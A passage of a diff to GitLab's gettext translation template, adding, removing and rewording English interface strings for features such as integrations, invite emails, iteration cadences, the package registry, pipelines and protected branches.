msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
